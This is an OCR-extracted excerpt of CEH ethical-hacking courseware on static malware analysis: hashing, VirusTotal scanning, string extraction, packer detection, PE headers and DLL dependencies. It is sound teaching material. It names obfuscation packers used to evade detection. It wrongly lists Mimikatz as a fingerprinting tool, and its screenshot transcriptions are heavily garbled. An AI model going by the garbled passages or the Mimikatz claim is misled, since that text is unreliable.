Fingerprinting does not work for certain record types, includ ing encrypted or password-secured
files, images, audio, and video, which have different content compared to the predefined
fingerprint.
Message-Digest Algorithm 5 {MOS) and Secure Hash Algorithm 1 {SHA-1) are the most
commonly used hash functions for malware analysis. Various tools such as HashMyFiles can be
used to create a fingerprint of the suspicious file as part of the static analysis. HashMyFiles is a
GUI-based tool that can calculate various hash values.

Module 07 Page 1095 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ HashMyFiles
Source: https://www.nirsoft.net
HashMyFiles produces a hash value for a file using MDS, SHAl, CRC32, SHA-256, SHA-
512, and SHA-384 algorithms. The program also provides information about the file,
such as the full path of the file, date of creation, date of modification, file size, file
attributes, file version, and extension, which helps in searching for and comparing
similar files.

mm HashMyfiles D X
File Edit View Options Help
- - -
l 8eJ (lJ 0 111il ~ ~Ci' ~ -'l
Filename J MOS SHAl CRC32 SHA-256 SHA-512 SHA-384 Full Path
0 cef_lOO_percent.... b28dl0d3bell093f8a... d 1f004cf1714b... 24daeafd bb46bfbbdec7f... 142072fc1 66c4d0... c001bb3574f374bc07574... (:\ Program Files\A
~ AdobeXMP.dll ba17bed8defaa7a96d... bd2c8ec633020... 25c68c65 fb07e06a2Sem... b206c0609dccc1... 75e829e2c868440f0815a ... (:\ Program Files\A
~ wab32.dll 82f22ed78042c4bd35 ... Oe3de6e95136a... 81204e48 Ob4eaea359479... cdf78a38b27a80c ... Obbdf70bl01f20857408a ... (:\ Program Files\ (
~ msadcor.dll 598be731o4bf9660aa... 4a4fb52492ec4... 5bffd8f7 7a 77fee8d63257... 4c6d13ccdc2907f... ad9063cbfc868ac 18c865... (:\ Program Files\ (
D msado21.tlb ba4967315c414a21406... cl eff97984bac8... 71638556 468337da4b491... 9385428996ffb26... be05467dc7c4cl05I0547... (:\ Program Files\ (

NirSo
2._file(s) _ __- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _- _-_
'
Figure 7.70: Screenshot of HashMyFiles

Some additional file fingerprinting tools are as follows:


■ Mimikatz (https://github.com)
■ HashCalc (https://www.slavasoft.com)
■ hashdeep (https://github.com)
■ MDSsu ms (http://www.pc-tools.n et)
■ tools4noobs - Online hash calculator (https://www.tools4noobs.com)

Module 07 Page 1096 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Static Malware Analysis: Local and Online Malware Scanning

Scan the binary code locally using well-know n and VirusTota l is a free service th at analyzes
up-to-date antivirussoftware

If the cod e under analysis is a co mpo nent o f a well-


VirusTotal
I suspicious files and URLs and facil ita tes t he
detection of viruses, wor ms, Trojans, etc.

known malware, it may have been disco vered already


and documented by many antivirus vendors t- C i ff\!St~ < ; l ' l ' , 1 . . , l 1 ~ ~77Ua1<19,1107old',b!l4.110'121Wkl91'18t24b8<"'2cdJ'IOca<M•I r.t I!:? * .I. ;
You ca n also upload the code to on line websites such
~ 3 ~ 1 ~• JJ11Zale;!9• 707~11()92$,l)cl97""24blc;66k,; a. -" II CJ em
as VirusTotal to get it scanned by a w ide-var iety of 0 .._...., _ _ _ ____,...... ~

differen t scan engines


l~•l~-707-!1092S'lc\
97f9a2"'9c:&I>.!«
. ...
20Z2GI OOW15•J UTC

Local and Online Malware Scanning Tools


!l Hybrid Ana lysis (https://www.hybrid-analysis.com)

!l Cuckoo Sandbox (h ttps:j/cuckoosandbox.org)

!l Jotti (https://virusscon.jotti.org)
0--~0IO
e Va lkyrie Sandbox (https://volkyrie.comodo.com)
!l Onlin e Scanner (https://www.fortiguard.com) 0- ~ ~~ •
© i https:/;W'ww.virustotol.com •

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Local and Online Malware Scanning


You can scan the binary code locally using well-known and up-to-date antivirus software. If the
code under analysis is a component of a well-known malware, it may have already been
discovered and documented by many antivirus vendors. You can also upload the cod e to
websites such as VirusTotal to get it scanned by a wide variety of scan engines.
VirusTotal calculates the hash values of a suspicious file and compares them with online and
offline malware databases to determine the existence of the recognized malicious code. This
process simplifies further investigation by offering deeper insights into the code, its
functionality, and other essential details.
■ VirusTotal

Source: https://www.virustotal.com
VirusTotal is a free service that analyzes susp1c1ous files and URLs. In addition, it
facilitates the detection of viruses, worms, Trojans, etc. It generates a report that
provides the total number of engines that marked the file as malicious, the malware
name, and, if available, additional information about the malware.
It also offers important details of the online file analysis, such as target machine,
compilation timestamp, type of file, compatible processors, entry point, PE sections,
data link libraries (DLLs), used PE resources, different hash values, IP addresses accessed
or contained in the file, program code, and type of connection s established.

Module 07 Page 1097 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

L) VirusTotal · File· 31 df00846a28 X + X

f- ..., C ii virustotal.com/ gul{file/31 df00846a28f7 d7be9437782a 1d947074d5b5611092843c197f8e24b8c662cc?nocache =1


-.
:LJ 31df00846a28f7d 7be9437782ald9470 74d5b5611092843c197f8e24b8c662cc a. ggg p

CD 59 security vendOls and no sandboxes flagged this file as mabclous

31df00846a28f7d7be9437782al d947074d5b5611092843c1
97f8e24b8c662cc
23.50 KB
S..,
2022 0 4 0 4 11:25:47 UTC
d on go
'bf.
EXE
Test.exe
osscmbly pecxc

DETECTION DETAILS BEHAVIOR COMMUNITY

Acronis (Static ML) CD Suspicous Ad Aware (i) Gene ·c""'SIL Btac:k.lbnd1.AA7CF336

Ahnlab VJ CD W n TrOjan'ZbOt.24064 AlYac CD Geee, cNSIL Bladab nd, AA7CF336

Antiy AVL (D - ,oJar1'Genenc.ASBOl.ABF~ Arcat,;t (D Ger"er c ,..,Sll.Bladab nd1 AA7CF336

Avast 0 >.'SIL'.Age'1t DRD ITrjl AVG 0 MS L Agect OiiD T~)

Avira (no cloud) Q) T~IDropoer.Ger 7 Baidu (D MS LBackdoor 6'a<Jabind ct

BitOefe nder 0 Gener ,c.M S l .Bladabtf'd .M7CF336 BitDefender The ta 0 Gen:NN Zerns 0 .34588.bmW@a,.

Bkav Pro (D W32 c-amVT tinAN14b Worlll CAT OuickHeal (D Trojari G er efcTPR-+5

Fig ure 7.71: Scree nshot of Viru sTotal

Some additional local and online malware scanning tools are as follows :
• Hybrid Analysis (https://www.hybrid-analysis.com)
■ Cuckoo Sandbox (https://cuckoosandbox.org)

■ Jotti (https://virusscan .jotti.org)


■ Valkyrie Sandbox (https://valkyrie.comodo.com)

• Online Scanner (https://www.fortiguard.com)

Module 07 Page 1098 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Static Malware Analysis: Performing Strings Search


-
Strings comm unicate information from the program to its BinText
user BinText is a text extractor that can extract text from any kind of
file and has the abi lity to find plain ASCII text, Unicode text and
Analyze embedded strings of the readable text within the
Resource strings, thus provid ing useful information for each item
program's executable file

Example : Status update strings and error strings


r ....1oo,1-0J
s-lr... 1.,. 1
- . X

,.,., .,.., J,a~-1......:£)+.l?-..P_ I _ _ ~ _


-"".lm
Use tool s such as BinText to ext ract embedded strin gs from
·--- 1- - 1 111-, , .. _ UIO_l'l«I

executable files '


A _,tltto'.IODl1CIC$0
A amxm,6loe (((OJJIJi!Dt
A amJJl~l~O cmml1'!(0
A -.rM!fO(W.J(Vl1'ttll
A -CUQIINll,IO<O
• ~a:amo,..uo
•-•axm,o,w,o
0
0
0

--
--
Nfl)o.afl'-

,.,....
• ~ttUIOOl1~ 0
• ~ cmmo1i210 o
·-
--M
String Searching Tools
-~
,._..,cmmo,'2«;10
,._,&M
A ~ (Wlllllll,ll,00
ca:a11,11Qllt o ~
•- •xi;:11;1;10,1 1~,. o
,._cmm,,~o

-
• -co:«ioo•U.O O

8 FLOSS (https://www.fireeye.com) U-.m" •


o
u mioo:mia: COOJJIIQ)l!X:
IDDIOIU \K 0
~
YI.W"'.....-U
,.. _ ,._,,l CUl.lDllll'l 0
U -.X,,&ni; Cl.llD,llll5 0

1~
u-...-w;wo,,« o
u_cmm,,. . o
8 Strings (https://docs.microsoft.com) ll-00Cfflml1ll10
u tmnn,13:Am:tOOIU2rA
0
0
u - , , ,,a:,
,,......,.ui:cmm,,_
ClfflDIUlU 0
0
U .W:OU JII OCODllllllll 0
8 Free EXE DLL Resource Extract (https://www.resourceextract.com) tl _,'31/CUQIOIII)~
U _,QICCO:UJOm J!IO
u- •:llftta:moum
0
0
o
u - » 1, ~ COODMIIIO& 0
.,.....,.u:e cmmn,n o

~· F
u _..,.u _._ UllDIOU:U. o
11-....J< axm,o,_
8 FileSeek (https://www.fileseek.ca)
0
u - ,u;,i; cmm,,w~ o
0
... _ ,~ COX()OO)W!,I
I
-
U mmll..U: a:mlllUG 0

8 Hex Workshop (http://www.hexworkshop.com)


u -=n..a:
MM
0Cll lll'1-

~· 0

I ~~

https:/ /www. alde1d.com

•' Copynght O by lC~HICII All Rights Reserved Reproduction is Stnctly Prohibited

Performing Strings Search


Software programs include some strings that are commands for performing specific functions
such as printing output. Strings communicate information from the program to its user. Various
existing strings can represent the malicious intent of a program, such as reading the internal
memory or cookie data, embedded in the compiled binary code.
Searching through the strings can provide information about the basic functionality of any
program. During malware analysis, search for the malicious string to determine the harmful
actions that a program can perform. For instance, if the program accesses a URL, it will have
that particular URL string stored in it. It is advisable to be alert while looking for strings and also
search for the embedded and encrypted strings to detect the suspicious file.
Use tools such as BinText to extract embedded strings from executable files. Ensure that the
tool can scan and display ASCII and Unicode strings as well. Some tools can extract all the
strings and copy them to a text or document file. Use such tools to copy the strings to a text file
to ease the task of searching for malicious strings.

Module 07 Page 1099 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ BinText

Source: https://www.aldeid.com
BinText is a text extractor that can extract text from any file. It can find plain ASCII text,
Unicode text, and resource strings, providing useful information for each item.

/ BinText 3.0.3 X

Sea,ch Fle,I I H-., I


I Fie to , can jE:\CEH-T oo1,\CEHv12 Morule 07 Maiwa,e Tt-.eats\Vruse,\Klez Vius Livel\/ace.ese

r;, Advancedyiew Time taken : 0.015 secs Te:><t size: 4240 b}ites {4.14K)

A OOO:X00161C8 COOXXJ4161C8 NTDevicePaths


A IJOO'.XKXJ16108 COOXXJ416108 Serva:
A OOO:X00161E0 COOXXJ4161E0 Corfw;µaition
A IJOO'.XKXJ161F0 COOXXJ4161F0 Corf9,.iationVectOf
A 000'.0'.XJl 6204 COOXXJ416204 a...
A IJOO'.XKXJ1620C COOXXJ41620C ClassGUID
A 000'.0'.XJl 6218 COOXXJ416218 Driver
A 000'.0'.XJl 6220 COOXXJ416220 Corfeflao,
A 000'.0'.XJl 6230 COOXXJ416230 F1iendlyN ame
A OOO:X0016240 COOXXJ416240 locationlriorl'Ml:ion
A 000'.0'.XJl 6254 COOXXJ4162S4 DeviceObjectName
A 000'.0'.XJl 6268 COOXXJ416268 C~lies
A IJOO'.XKXJ16278 COOXXJ416278 UINcrnbe,
A 000'.0'.XJl 6284 COOXXJ416284 UpperFilers
A 000'.0'.XJl 6294 COOXXJ416294 lowerFilefS
U oo:m:mD20C COOXXJ40020C (null
U IJOO'.XKXJ14186 COOXXJ41 4186 VS_VERSION_INFO
U OOO:X0014212 COOXXJ41 4212 Stririfilelrfo
U
U
U
000'.0'.XJl 4236
000'.0'.XJl 424E
OOO:X001426E
COOXXJ414236
COOXXJ41 424E
COOXXJ41426E
04090480
~ ....
FileOescription
U IJOO'.XKXJ14W COOXXJ41 4W Hpi_Prnt MFCApplication
U 000'.0'.XJl 42CA COOXXJ41 42CA FileVersion
U IJOO'.XKXJ142E4 COOXXJ41 42E4 1.6.0.18
U OOO:X00142FE COOXXJ41 42FE lntematJame
U IJOO'.XKXJ14318 COOXXJ414318 Hpi_Prnt
U 000'.0'.XJl 4332 COOXXJ414332 leoalC:00,.;ght
U 000'.0'.XJl 4350 COOXXJ41 4350 C:00,.;ght (CJ 1998
U IJOO'.XKXJ1437E COOXXJ41 437E Legall,aciema1ks
U OOO:X001436.6 COOXXJ41 436.6 0 riginaFilerwne
U 000'.0'.XJl 43C8 COOXXJ41 43C8 Hpi_Prnt.EXE
U OOO:X00143EA COOXXJ41 43EA ProduclNMie
U IJOO'.XKXJ14404 COOXXJ41 4404 Hpi_PrntApplication
U OOO:X0014436 COOXXJ41 4436 ProduclVeision
U 000'.0'.XJl 4454 COOXXJ41 4454 1.6.0.18
U OOO:X001446E COOXXJ41446E Va1Helrlo
U IJOO'.XKXJ1448E COOXXJ41 448E Translation

1~22

Figure 7.72: Screenshot of BinText

Some additional string searching tools are as follows:

■ FLOSS (https:j/www.fireeye.com)
■ Strings (https://docs.microsoft.com)

■ Free EXE DLL Resource Extract (https://www.resourceextract.com)


■ FileSeek (https://www.fileseek.ca)
■ Hex Workshop (http://www.hexworkshop.com)

Module 07 Page 1100 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Static Malware Analysis: Identifying Packing/Obfuscation


Methods

Attackers often use packers to compress, PEid


encrypt, or modify a malware executable file The PEiD tool providesdetailsaboutthe Windows executable
to avoid detection files. It can identify signatures associated with over GOO
different packers and compilers
It complicates the task for the reverse
engineers in finding out the actual program
logic and other metadata via static analysis
liJi PEiD v0.95 X
Use tools such as PEid that detects most
common packers, cryptors, and compilers for
Fie: [E:\cEH-Tools\CEHv12 Module 07Malware TITeats\Vruses'y(lez VKus l

PE executable files
Entrypoint: I00008458 EP Section: . text
Fie Offset: I00008458 First Bytes: 55,88,EC,6A

Linker Info: 16.0 SUbsystem: IWin32 GUI

---
-
-■

.VARNJNG -> VIRUS -> I-Worm kl.EZ Overlay

I l"ulti Scan I I Task Viewer I Options About 11 Exit I


p Stay on top gG:)
https://www.aldeld.com

Copyright C> by (C-CllllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Static Malware Analysis: Identifying Packing/Obfuscation


Methods (Cont'd)
Identifying Packing/ Obfuscation Method of ELF Malware Packaging/Obfuscation Tools
Detect It Ea sy (DIE) is an application used for determining a file's
compiler, linker, packer, etc. using signature-based detection Macro_Pack
https://gfthub.com

UPX
https://upx.github.io

ASPack
http://www.aspock.com
~ · Utt

_J
UH'/ l>Oln< (Ml4<UI) ' ootoo.,o
Ut,y po1nt(Of f ••tl , OOQ
Uuy 1)0111.t (blatn.. •<l<lrHO), 0 0 0
Enuy po1MIBY<,H)I Jlodttltdl!HttlUo2tlUotfO!lll!ttk1c0200,t OOOUc'lcll>OOHOOCt k7c7ld0$t OOO
uuy Po1nt(,1'1'lU1,lf<II' ne<1.0U<ll$UUHlUU•t--M$U,C7oQ .. . .. . .. oc7<:l . .•••••. oc7c'I •..
En<ry poUo<(J1pa<u•l(blJ, lJ~ O l!M.U•tlll•lt l l ht . . iO!iH ...1¢0 . . . . . tl¢1e; .. . . . . . tle1¢1 ..

VMprotect
https://vmpsoft.com

ps2-packer
https://github.com

Copynght () by lC~llllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Identifying Packing/Obfuscation Methods


Attackers use packing and obfuscation to compress, encrypt, or modify a malware executable
file to avoid detection. Obfuscation also hides the execution of the programs. When the user
executes a packed program, it also runs a small wrapper program to decompress the packed file
and then run the unpacked file. This complicates reverse engineers' attempts to find out the
actual program logic and other metadata via static analysis_

Module 07 Page 1101 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

You should try to determine if the file includes packed elements and also locate the tool or
method used for packing it. Use tools such as PEid, which detects most commonly used packers,
cryptors, and compilers for PE executable files. Finding the packer will ease the task of selecting
a tool for unpacking the code.
■ PEiD
Source: https;//www.aldeid.com
PEiD is a free tool that provides details about Windows executable files. It can identify
signatures associated with over 600 different packers and compilers. This tool also
displays the type of packers used for packing the program . It also displays additional
details such as entry point, file offset, EP section, and subsystem used for packing.

~ PEiD v0.9S X

IFde: ["E:\CEH--Too
- ls_\C_EH
- v12 Module 07 Malware Threats\Viruses~ez Virus L

Entrypoint: 00008458 EP Section: .text .2J
File Offset: I00008458- - First Bytes: 55,88,EC,6A W
Linker Info: I6.0 Subsystem: IWin32 GUI W
WARNING -> VIRUS -> I-Worm KLEZ Overlay
["Multi S~ I Task Viewer ! Options I I About 11 Exit I
W Stay on top BG
Figure 7.73: Screenshot of PEiD

Module 07 Page 1102 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Identifying Packing/Obfuscation Method of Executable and Linkable Format (ELF) Malware

• Detect It Easy (DIE)

Source: https://github.com
DIE is an application used for determining types of files. Apart from Windows, it is
available for Linux and macOS. It has a completely open architecture of signatures and
can easily add its own algorithms for detecting or modifying existing signatures. It
detects a file' s compiler, linker, packer, etc. using a signature-based detection method.

fi le na~: E: /CEH-Too l s/CEHvl2 Module 07 Malware Threat.!1/Vi r u.!le.,/ ELf Te.st. File
Size : 8608 (8 . 41 k:B)
MDS : 3b618e2266!1Sa6932965770d551486b
SHAl : 3f2187dbeea8c3cc53b7lc5792127718dbcfle56
Entropy : 2 . 87857 (not packed)
Ope r a tion s y stem: Red Hat Linux

Endian@.!l.!I: LE
Entry point (Addr1!SS ) : 004 00 '190
Entry point (Oft'set): 0 490
Entry point (Rela t ive addres s ) : 0 490
Entry point {Bytes) : Jled4 989dl5e4 889e2 4 883e 4 ! 050514 9c7c0200 6400018c7clb0054 0004 8c7c77d054 000
Entry point (Signature) : 3led4989dl5e4889e24883e4 . . 505449c7c0 . . .. .... 18c7cl . .. . .... 18c7c 7 . .. . ... .
Ent ry point (Signa ture) (Rel) : 3le d1989dl5e4 889e21883e1 .. 505149c7c0 . . . . . . . . 18c7cl . . . . . . . . 48c7c7 . . . .

Figure 7.74: Screenshot of t he DIE tool

The following are some additional packaging/obfuscation tools:


• M acro_Pack (https://github.com}
• UPX (https://upx.github.io}
■ ASPack (http://www.aspack.com}
• VMprotect (https://vmpsoft.com)
• ps2-packer (https://github.com)

Module 07 Page 1103 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Static Malware Analysis: Finding the Portable Executables


(PE) Information
The PE format is the executable file fo rmat used on Wi ndows operating syst ems

Analyze the meta data of PE files to get information such as t ime and date of co mpilation, f unctions imported and exp orted
by th e program, linked libraries, icons, menus, ve rsion info rmation, and strings that are embedded in resources

Use t ools such as PE Explorer to extract the ab ove-mentioned information

111 ...._ ...\W<-_ _, , _ _ _ _ _ , _ . . , ,

l" l- 1.,. -
PE Explorer ' - ~.J, 1,,1 ~ ·- tl •• ft <;l 'li,,-.:'li •

PE Explorer lets you o pen, view, and edit a variet y of different 32 -bit
W ind ows executable file types (also called PE files) rangingfrom the ..-,
--·- , ~--_ --
..
- - - - """"'°""
....
_ --
•o
-
-- -_ , ,o
u
common , such as EXE, DLL, and Acti veX Controls .• -

-.........._._ --
i..,.,._
Vn11v._v..,.
..... -- ,,__
-

--1. .- ·- -

--..
""'"--=-
-

__
W',,RG.1

PE Extraction Tools ta•-r-


-•o-._ _.,
._...., --
..,_,
--

8 Portable Executable Scanner (pescan) (https://tzworks.net)

8 Resource Hacker (http://www.angusj.com)

8 PEView (https://www. aldeid.com)

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Finding the Portable Executables (PE) Information


The Portable Executable (PE) format is an executable file format used on Windows OS, which
stores the information that a Windows system requires to manage the executable code. It
stores metadata about the program, which helps in finding additional details of the file. For
instance, the Windows binary is in PE format, and it consists of information such as time of
creation and modification, import and export functions, compilation time, DLLs, linked files,
strings, menus, and symbols. The PE format contains a header and sections that store metadata
about the file and code mapping in an OS.
The PE of a file contains the following sections:
• .text: Contains instructions and program code that the CPU executes.
■ .rdata: Contains the import and export information as well as other read-only data used
by the program.
• .data: Contains the program's global data, which the system can access from anywhere.
■ .rsrc: Consists of the resources employed by the executable, such as icons, images,
menus, and strings, as this section offers multi-lingual support.
You can use the header information to gather additional details of a file or program, such as its
features. You can use tools such as PEView to extract the above-mentioned information.

Module 07 Page 1104 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ PE Explorer
Source: h ttp://www. heaven tools.com

PE Explorer lets you open, view, and edit a variety of 32-bit Windows executable file
types (also called PE files) ranging from common types, such as EXE, DLL, and ActiveX
Controls, to less familiar types, such as SCR (Screensavers), CPL (Control Panel Applets),
SYS, MSSTYLES, BPL, DPL, and more.

~ PE Explorr:r - E:\ CEH-Tools\ CEHv12 Modulr: 07 Malware Threats\ Virus6\Klu Virus Live!\facr:.~e X
f~ Y- l ools ti..,

~ I Address ol Entry Pon 100408458 I ,/ Re~ Image Checksum: IOOJ17238h I ibl I


Field Name Data Value Desaiption Field Name Data Value Description
IHt#,, ■nei;, 6• fr,
7 Section Aigm>enl OOJ0100lh
Numbef ol Sections OOJ4h FieAig,menl OOJ0100lh
Time Date Stamp 3C878EB8h 13/0412002 01:49:44 Ope,atil"l!J System Version OOJOOOJ4h 4.0
Poirter to Symbol Table OOOOOJOOh lmage:Vel'Sion OOJOOOJOh 0.0
Nun-be< ol Syrroois ootOOlOO, Subsystem Vel'$ion OOJOOOJ4h 4.0
Size ol OptioMI Header OOEOh Wn32VersionValue OOJOOOJOh Reserved
Chafacteristict 010Fh ~ Size of Image OOJ9600Jh 614400 bytes
Ma<ic 0108h PE32 Size of Headers OOJ0100lh
l inkerVenion 0000, 6.0 Checksum OOJOOOJOh
Size of Code OOOJCOOOh Subsystem OOJ2h Wi>32 GUI
Size ot lnil:iMzed Data OOJ89JOOh 01 Characteristics OOJOh
Size ol Unrl«iabed 0 -,ta OOOOOJOOh Size of Slack Reserve OOlOOOJOh
Address ol Ertiy Point 00408458h Size ol St~ Commit OOJ0100lh
Base of Code 00001000h Size of Heap Reserve OOl0OOJOh
Base of Data OOOOlOOOh Size of Heap Comri OOJ0100lh
Image Base 00400J00h Loader Flags OOJOOOJOh Obsolete
Ni..mbe, of Data Oifectories OOJ00010h

,I' >11 11 II' 1 I 11 l-1, , I , ' , 11,1 IHH11l\11111, '11 I


\1 111 11 11 ' 1 l " ' 11 j , I f I ! ! .i 1 , 11 , 1 , IH11H1 :S:IH1!, 111 111 ! !
111 111 11 11' ' ' 1 I " f, 1 I 1 ,,, 11111111 :-11 Ill I l I
II 111 ,1 (1 '1 I,, 111l1111 I I)

11' >11 11 t i' '1 I 1,

Fo, Help, pren Fl

Figure 7.75 : Screenshot of PE Explorer

Some additional PE extraction tools are as follows :

■ Portable Executable Scanner (pescan) (https://tzworks.net)

■ Resource Hacker (http://www.angusj.com)

■ PEView (https://www.aldeid.com)

Module 07 Page 1105 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Static Malware Analysis: Identifying File Dependencies

Programs need t o work w ith internal system files t o Dependency Walker


properly functio n Dependency Wa lker lists all the dependent modules of an execut abl e
file and builds hierarchical tree diagrams. It also records all the
Programs store the import and export functions in
the kernel 32.dll file f unctions of ea ch module exp orts and calls

Ch eck the dynamically linked list in the malwa re a,i , - 1 . , V'-Opb,,N ,.,,,.. w_/Mp
~ iii ,. IC q E .;Iii' 5 -M IJ -4 ~ s m tD
executable file
19 0 J:UNIHl.llll - N,.. ll"(DN0011) C -

Finding out all th e library functions ma y al low you to


II) 0 A(WAPllJ..Oll - Iii..
~=:rn ~~-:.
5 [: ::m~E~
1f1 0 WQ.)U)U - WA
~ Qloft.lltl : ::: lmpon
est imate w hat the malwa re progra m can do 1'6-o•cic-.1-.i,m...,t,ot
Section

Use too ls such as Dependency Walker t o identify the =:: l ltD,00!7)D<ld# -


,t$(0,00IO)l,_..,
t~ ( 0 , 0 0 1 0 ) 1 , ~

dependencies within the executable file

Dependency Checking Tools


@

@
Dependency-check (https://jeremylong.github.io)
Snyk (https://snyk.io) !u•= -~
l l) - - -· - l l · 1 , G . D t l
,~;::=
__!~
1,_
--•
=:!
.._n...,.. ~ ....:,:
... ,_li<><I : ci,mmoc
No--lll-
1t...,.._,_,.,.."'"..,,,__e
::!!::~~ I
l J) .ui.,,,s..WN-AHM()(l(l-C)(N111V•Ll·1-0.DU
l l) .US-Ml,---.ufMOOll·RUNTIMI-IN!tmt.l•LM-UIU __ ..._n...,...
_ .._n...,.._,.... ,--....
___.., __
No--11).
!,11.

PE Explorer Dependency Scanner (http://www. pe- l ll - --- • - - - - l l - 1 • 1 . D l l ,_


___ n...,,.____...__ e
_..._n.._,_,,,_..,. (lJ.

_______
@ l ll ~----RUNTIMl-ll-1-0.DU
l ll oUI--M5.--..o.HMOOtl-«oN11Mll-l1-1-1.0U
,--•n...,...,., ___
_ _ ..._ n,,.,....,.,_ .... lilo _ _ e
r...1..,.No--0
explorer.com) l J) --JtffM00fl.-f1A"R-l1-1-4DU

E,,,, __ .......,......,.__ __,.......,


__ _
l J) oUI--M5.---IIPMOOll-1HOCK-l1-l-faDU
_..,
@ RetireJS (https://re tirejs.github.io) hrtps://www.dependencywolker.com

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Identifying File Dependencies


Any software program depends on various inbuilt libraries of an OS that help in performing
specified actions in a system. Programs need to work with internal system files to function
correctly. They store the import and export functions in a kernel32.dll file. File dependencies
contain information about the internal system files that the program needs to function
properly, the process of registration, and location on the machine.
You need to find the libraries and file dependencies, as they contain information about the run-
time requirements of an application. Subsequently, you need to check if they can find and
analyze these files, as they can provide information about malware in a file. File dependencies
include linked libraries, functions, and function calls. Check the dynamically linked list in the
malware executable file. Finding out all the library functions may allow you to guess what the
malware program can do. You should know the various dll used to load and run a program.
Some standard dlls are listed in the table below:

dll Description of contents

Core functionality, such as access and manipulation of memory, files,


Kernel32.dll
and hardware
Provides access to advanced core Windows components such as the
Advapi32.dll
Service Manager and Registry
User-interface components, such as buttons, scrollbars, and
User32.dll
components for controlling and responding to user actions

Gdi32.dll Functions for displaying and manipulating graphics

Module 07 Page 1106 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Ntd 11.dll Interface to the Windows kernel


WSock32.dll and Networking DLLs that help to connect to a network or perform
Ws2 32.dll network-related tasks

Wininet.dll Supports higher-level networking functions

Table 7.5: Standard dlls

You can use tools such as Dependency Walker to identify the dependencies within the
executable file.
■ Dependency Walker
Source: h ttps ://www. dependencywa Iker. com
Dependency Walker lists all the dependent modules of an executable file and builds
hierarchical tree diagrams. It also records all the functions of each module's exports and
calls. Furthermore, it detects many common application problems such as missing and
invalid modules, import/export mismatches, circular dependency errors, mismatched
machine modules, and module initialization failures.
-
ari - X
Dependency Walker• (snoopy.exe)
ltQ File Edit v;.,. Options Profile Window Help
" - I!} X

i;;i; liil ,•I I;;' c:\ E: J1;,I~ ~ ..,lJ 1!} ~1 ~8ITl it?I
El □ SNOOPY.EXE Pl Ordinal " Hint Function Entry Point
1±1- □ KERNEL32.0LL 11:J NIA 27 (Ox001 BJ CloseHandle Not Bound I
133- □ AOVAPIJ2.0LL 11:J NIA 40(0x0028) Copyfile.A Not Bound
iii □ WS2_l2.DLL 11:J
11:J
NIA
N/A
52 (Ox003 4)
53 (Ox0035)
Createfile.A
CreateFileMappingA
Not Bound
Not Bound
1±1 □ MPR.Dll
11:J NIA 68(0x0044) CreateProcessA Not Bound Import
11:J NIA 74 (Ox004A) CreateThread Not Bound Section
11:J NIA 76(0x004C) CreateToolhelp32Snapshot Not Bound
11:J NIA 87 (Ox0057) D,letefile.A Not Bound
11:J NIA 125(0x0070) ExitProcess Not Bound
11:J NIA 128 (Ox0080) ExpandEnvironmentStringsA Not Bound

E Ordinal " Hint Function Entry Point


11:J 1 (Ox0001) 70(0x0046) BaseThreadlnitlhunk Ox00016720 I
~ 2 (Ox0002) 901 (Ox0l85) lnterlockedPushlistSlist NTDLL.RtllnterlockedPushlistSlist
Ii::] l (OxOOOl) 1569 (Ox0621) Wow64Transition Ox0008209C
~ 4 (Ox0004) 0 (OxOOOO) AcquireSRWlock.Exclusive NTOLLRtlAcquireSRWLock.Exclusive
~ 5(0x0005) 1 (Ox0001) AcquireSRWloclcShared NTOLL.RtlAcquireSRWlock.Share:d Export
11:J 6 (Ox0006) 2 (Ox0002) Activate:ActCtx Ox00021 ACO Section
Ii::] 7 (Ox0007) l (OxOOOl) Activate:ActCtxWoril:er Ox0001 6E50
Ii::] 8 (Ox0008) 4 (0x0004) ActivatePaclcageVirtualizationConte:xt Ox000248 FO
